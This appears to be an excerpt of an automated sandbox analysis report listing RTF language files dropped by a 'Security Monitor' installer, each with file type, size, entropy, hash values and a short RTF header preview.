\froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-J1CFJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56877
Entropy (8bit):	5.08048638360949
Encrypted:	false
SSDEEP:	768:XFRf9q5GHTwjjJ6jNBmuIV3brtE/TnFkUpvMT1u55U4hU8Gs2PsYyCGsDt/8pA1T:XV/wT1QgfTHJ3
MD5:	300A9C30F7C747136B0481B5765852E8
SHA1:	A7DFA3454EDA5842B17AC27684B359EFBE68DF52
SHA-256:	878EFDAD351F09C39DE3B711B25265E029847775500FE0C407D87898BD270158
SHA-512:	9B989F4C7A3983F869C3F4FA694FF0B27661C4A88853684D84531ED12B317EE3172C1D9E0A100FBD6413ABE97FE50F6DB71A8DC3BF27F3716476830EC76683BC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-JAPMR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42048
Entropy (8bit):	5.112920780203348
Encrypted:	false
SSDEEP:	768:TLyrsEue7ccoHUVQtqpBMV8SLpmo+6Xl5m/z3OgwXG6Ie:THEr3OgwXG6Ie
MD5:	FEC5348E8803947C2A90184FABCDCF6B
SHA1:	2D43C953E0DF8C80BAE2FE19792A1A0E1CDD33A5
SHA-256:	EB1C7F1EA6A62EC39DE6528B68F112EDB8E137106627A706DAC5F5E73EF4B785
SHA-512:	435FD2FCB064017FB68BEE751B1DCABB134867B8E27312D25589B10C87EDC68D74F52EDE56039A1E0395CEF9568DC72AA223B9EAAFA3AF09A079F9AB1C29A4D8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f41\fbidi \fswiss\fcharset162\fprq2 Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-JK2M9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	50542
Entropy (8bit):	5.082123818083202
Encrypted:	false
SSDEEP:	768:0LMrbAKeJcmz0s4ieSRukoMV8SLpmo8uSYSyWBKnObct3/nf4qY3BtHn+/z3Ogwa:08A7YM3OgwXG6I5
MD5:	8375A1338E343C284BB1EA8461B16EF5
SHA1:	5329FB0F5AFB566177F45FE49A7FF0411571CB6C
SHA-256:	6024A7AA29911E5D8670FC1028749D736D95115AA89E07DC00C823E68101B032
SHA-512:	98D1213836A17D44072B11488BF9FB5DF408A3B7E1D0EED7CAE13C3C6DDEF09EE52C613C20C7277410BAFD57644A88B4EF9286B9BB5D31C79DB6E9D30F4317AF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-KRPDU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66624
Entropy (8bit):	5.059280595618483
Encrypted:	false
SSDEEP:	768:ZFRfhqedVWGV79ka9aTwjjJ6jNxLUsQZZ6jNcLUsQZZ6jNdLUsQZZ6jNZLUsQZZB:ZJw+PLTJYsdhYX
MD5:	6D34D466F1C68F15A6CC32AAE4E3E2D1
SHA1:	3F4DCE2646758CEF37887EBE9772970420FF6C2E
SHA-256:	92A2850CEC25C5578A53179E385BA1C32C3F41AAAEF0EC653FCCA133DA2DB5A7
SHA-512:	B67C4678925D41CAAC364BF4C75F1F407AEC91915121EA6BE3AF0794C63001330BC775F06BFB1E9F49B42494AA856A6C0D66D6114D9D0CA9F0B53DABF77A9E8E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-LF7VD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42485
Entropy (8bit):	5.10644966338614
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseR6NnE0/z3OgwXG6Iq:TL423OgwXG6Iq
MD5:	2F22B5B2B29308EFA8F83A2A7756F134
SHA1:	5AA36D0592B3A10518F28AFA7C65D338FD29B64E
SHA-256:	F19658BABB054B874513345E81C3F3294FABF41C2F1A35B245510E307F782A5C
SHA-512:	34902F5B360C5DA92E49B7C22D18250D504CF3186F229FADE902AFE617B3B13D47D0E8CB11B2423F8A1DA487B1140D96DCCB22613EE16D3ACB9BFB5DD72F1071
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-MSRIV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42288
Entropy (8bit):	5.108390882492053
Encrypted:	false
SSDEEP:	768:TLMrUuh04mIYKRXOYIX6tS+zdGA+ElGj/zdUIpeabvJ:T9B3dUIpeabvJ
MD5:	97897027B8B5FE133581EA13A6EE7976
SHA1:	614F116D74418D950D6E6D0989BF7249ED77721B
SHA-256:	4E4734B0CE3DCFBAF08B4EBE18926E6AE6E63A50F0C4CB6D47452EACF9253F2D
SHA-512:	00755B8B03BC8A83B36103E79C7FF62BA50816C4669A8CBBFADC4CD52E31037BE1ECD3CA93EC1A3B5D28363F54E49E3C91F461D6BB7664FA7D7327BEE75B9780
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-OEHGL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	45800
Entropy (8bit):	5.097060523282222
Encrypted:	false
SSDEEP:	768:0LMrb5Ke8ctMRcPMRC90OmDcPMRC90Okj+yXpcrb+/z3OgwXG6IN:085ERZau3OgwXG6IN
MD5:	BF226FC63E045046722D8F7D54D3CD48
SHA1:	6134D8D56E0E9FADBCB931CD091513E69A766D33
SHA-256:	1BC9F58D4EC025B08FF100A71397F11FDE77AFF49271545A7C91ABCECB95BD39
SHA-512:	EAA01E5017FE5E9EB5C383C708F0229AFFE70E465D7460BDA475117BD56B12DC52669D59DFEADD28EB8B82696ECB48BF8F0F6BF13422D733FBD98EDD54E7A10B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-PCPUJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	35217
Entropy (8bit):	5.100503141917066
Encrypted:	false
SSDEEP:	384:ZFRfkkIOxdWvXLV2NakmumYjucj+jaUysUredZjFjDfA7Leo75Y3k37pHYfjioJW:ZFRfAumYicq2BlMZB/A7yZo7IJJW
MD5:	1456CC4187B4C904B65403612F948F8D
SHA1:	D8636D6B2B0EDCB47001AD5D107643D66C4A0623
SHA-256:	FE38EEF744F8B1E2D385BDB4487C795BBF4B74E6C4EF2B61201E4276C04F941E
SHA-512:	CA7E563B3552F12DB33F6AAC2946AB7DC1AD83EA1726529A42C06F236AAEB896169FF4AFBC990AFC12473498C07584C3CA18B148F0184FB295C2DACA2482187B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-PL3OH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43858
Entropy (8bit):	5.1066210164319585
Encrypted:	false
SSDEEP:	768:TLmrs4sw9FmdVFroAWBmho4cnTseR4Jv6YfpgC/z3OgwXG6I7:TL4w3OgwXG6I7
MD5:	47A87D6CE96B1DCA2C609A778373485D
SHA1:	15823BE17A06C6C57EBAF6D0E55F56EBF0EFE98F
SHA-256:	9276B70DE54E2675E72A84AE277563D4518A0DC56565379378A7CC3B10488697
SHA-512:	D717567ED8C4A25270312E31F2481241A9B164B8A04D19C68A1BF3F9BD8890F99C3A0F4A76AFD6A4A24208F1BE16D9F10FCEEB36099828FCD3F35AC8E92C498E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42048
Entropy (8bit):	5.112920780203348
Encrypted:	false
SSDEEP:	768:TLyrsEue7ccoHUVQtqpBMV8SLpmo+6Xl5m/z3OgwXG6Ie:THEr3OgwXG6Ie
MD5:	FEC5348E8803947C2A90184FABCDCF6B
SHA1:	2D43C953E0DF8C80BAE2FE19792A1A0E1CDD33A5
SHA-256:	EB1C7F1EA6A62EC39DE6528B68F112EDB8E137106627A706DAC5F5E73EF4B785
SHA-512:	435FD2FCB064017FB68BEE751B1DCABB134867B8E27312D25589B10C87EDC68D74F52EDE56039A1E0395CEF9568DC72AA223B9EAAFA3AF09A079F9AB1C29A4D8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f41\fbidi \fswiss\fcharset162\fprq2 Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	45800
Entropy (8bit):	5.097060523282222
Encrypted:	false
SSDEEP:	768:0LMrb5Ke8ctMRcPMRC90OmDcPMRC90Okj+yXpcrb+/z3OgwXG6IN:085ERZau3OgwXG6IN
MD5:	BF226FC63E045046722D8F7D54D3CD48
SHA1:	6134D8D56E0E9FADBCB931CD091513E69A766D33
SHA-256:	1BC9F58D4EC025B08FF100A71397F11FDE77AFF49271545A7C91ABCECB95BD39
SHA-512:	EAA01E5017FE5E9EB5C383C708F0229AFFE70E465D7460BDA475117BD56B12DC52669D59DFEADD28EB8B82696ECB48BF8F0F6BF13422D733FBD98EDD54E7A10B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45843
Entropy (8bit):	5.099884587726615
Encrypted:	false
SSDEEP:	768:XFRfvKmGHTwjjJ6jNBmuIV3brtE/TnFkUpv0jxZGcAK0njUZXZo7IJJY:XHCMHJ2
MD5:	FE6B9C7CF4F0B6627DEB585E904CDBEB
SHA1:	552B91CE134693F121234EB5E3CA538C60449B7A
SHA-256:	74FDB6A5CAB4DAF2D175C831124D75631EBD1247BF1C09F43BA8CDA3B4241B56
SHA-512:	ABE4C5B9A2B1F074A4D9A470AE2173282DFCDE63382CCC7311DF3822698CDB4A7F02B98D85AAF3DFFBC0E97F734E026D5F97438858AB5BC76821F4CD8D2D22E5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56877
Entropy (8bit):	5.08048638360949
Encrypted:	false
SSDEEP:	768:XFRf9q5GHTwjjJ6jNBmuIV3brtE/TnFkUpvMT1u55U4hU8Gs2PsYyCGsDt/8pA1T:XV/wT1QgfTHJ3
MD5:	300A9C30F7C747136B0481B5765852E8
SHA1:	A7DFA3454EDA5842B17AC27684B359EFBE68DF52
SHA-256:	878EFDAD351F09C39DE3B711B25265E029847775500FE0C407D87898BD270158
SHA-512:	9B989F4C7A3983F869C3F4FA694FF0B27661C4A88853684D84531ED12B317EE3172C1D9E0A100FBD6413ABE97FE50F6DB71A8DC3BF27F3716476830EC76683BC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	41746
Entropy (8bit):	5.1082830705303195
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRnomp/z3OgwXG6Ik:TL433OgwXG6Ik
MD5:	66827CCAAE125825B1E69A77C2F3C184
SHA1:	AF5BE3BBE593D4327EA77157EE4780A185C50710
SHA-256:	6444F8ADA3675836844F7320C0F588572EE3D7C890A4DD5E8132CB17DC7FCBAA
SHA-512:	526058E0E367398C4E3295DA8B0F07118A1DF628DE4CBEDE276516E1FB045A33B2757768AE3713833F24A23E49667BC33BA43679844B0E68A9843CE390416984
Malicious:	false
Reputation:	unknown
